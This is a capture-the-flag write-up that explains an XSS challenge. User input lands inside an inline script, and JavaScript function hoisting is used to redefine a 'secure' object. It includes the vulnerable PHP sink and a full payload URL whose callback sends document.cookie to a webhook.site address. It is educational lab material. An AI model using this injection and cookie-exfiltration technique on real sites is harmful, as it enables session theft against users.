Tob
Summary
We’ll craft a note URL that makes the page execute JavaScript inside an inline <script>
where a function named secure
is referenced. Because JavaScript function declarations are hoisted, we can redefine secure
inside the same script block and slip a callable .replace(…callback…)
that runs our code. The admin bot attaches a readable flag
cookie to the app’s origin before visiting our URL, so document.cookie
contains the prize.
Start
On the main app. It’s a PHP page that takes title
, content
, and category
from the query string, displays them, and (when content
is present) renders a <script>
that invokes secure.validate(...)
with our content
value. That’s the sink we’ll leverage.
<?php if ($content): ?>
<script>
secure.validate('remove', '<?php echo $content; ?>');
</script>
<?php endif; ?>
This line means our content
is interpolated inside a running script on the page that also references a function named secure
.
Before that, the app replaces only literal <
/>
in parameters, and then echoes them in various places. but there's a slight problem here in secure.validate
script
What the engine does at that line
Look up
secure
(the “base” of the call).If
secure
is undefined, reading.validate
throws immediately: TypeError: Cannot read properties of undefined (reading 'validate').When that happens, arguments are not evaluated, so nothing inside our argument runs.
Read
secure.validate
.If
secure
exists (object or function), this property access is safe, even if it yieldsundefined
.
Evaluate the arguments (left → right).
Only now does the engine compute our argument; if our argument is something like
'<payload>'.replace(/^/, fn)
, the callback executes here and can exfiltrate.
Invoke the callee.
If
secure.validate
isn’t callable, a TypeError occurs after argument evaluation, so any side effects from our argument have already happened.
So that means: to get our argument to run at all, we must ensure secure
exists at this point in the script. In the next section.
Hoisting
before going into the challenge there's on crucial technique you should be familiar with, and that is hoisting
What is hoisting
Before running a script, JavaScript scans the current scope and lifts (hoists) all function declarations and var
declarations to the top of that scope. Function declarations become available by name throughout the scope, even if their text appears later in the source.
Why it matters here:
The app’s script block calls secure.validate('remove', '<OUR_CONTENT>')
. If we can smuggle our own function declaration named secure
(e.g., function secure(){}
) into that same script block, the engine “pins” our secure
at the top. Later references to secure
(including that call site) resolve to our stub. The original developer’s “real” secure
(if any) gets shadowed.
In short: by embedding a function declaration inside the inline script scope, we can rebind what the code thinks secure
is, without needing to close the <script>
tag or create raw <script>
blocks.
For instance, consider the following typical hoisting scenario:
console.log(foo); // Outputs: undefined
var foo = 'bar'; // name was hoisted; value set later
In this example, the variable foo is declared after it is referenced, but JavaScript doesn't throw an error because the declaration is hoisted to the top of the scope.
Building the payload
We start from the exact sink:
secure.validate('remove', '<USER_CONTENT>');
we need to
Stay inside JavaScript (no need for
<script>
tags).Execute a function we control (via a legitimate API like
.replace(...)
).Redefine
secure
with a hoisted declaration so any latersecure.*
calls are benign.Exfiltrate via a side effect that doesn’t require DOM access (e.g.,
new Image().src = "...";
).
The payload
http://proxy/index.php?title=as&content='.replace(/%5E/,function()%7Breturn(new%20Image().src=%60https://webhook.site/e13dd6e8-7e6a-45a8-a5ef-c41e67405918/?c=$%7BencodeURIComponent(document.cookie)%7D&u=$%7BencodeURIComponent(location.href)%7D%60,'')%7D)%20)%20;%20function%20secure()%7B%7D%20//&category=general
Why .replace(/^/, fn)
?
.replace(/^/, fn)
?Always executes once on any string (regex
^
matches the start).Keeps us inside JS;
The callback is a safe execution gadget that linters rarely strip.
runtime
The bot navigates to your URL; it already set a cookie
flag=…
withhttpOnly:false
on this origin.The inline
<script>
runs. When evaluating the argument that contains your string:Your string’s
.replace(/^/, fn)
fires the callback.The callback sends a GET to your webhook with
document.cookie
andlocation.href
, then returns''
.
The expression closes cleanly; no syntax errors are thrown.
Your
function secure(){}
is parsed as a declaration in this same<script>
scope, so it is hoisted and shadows/neutralizes any in-block use ofsecure
.Your webhook receives the flag in
c=...

Last updated
Was this helpful?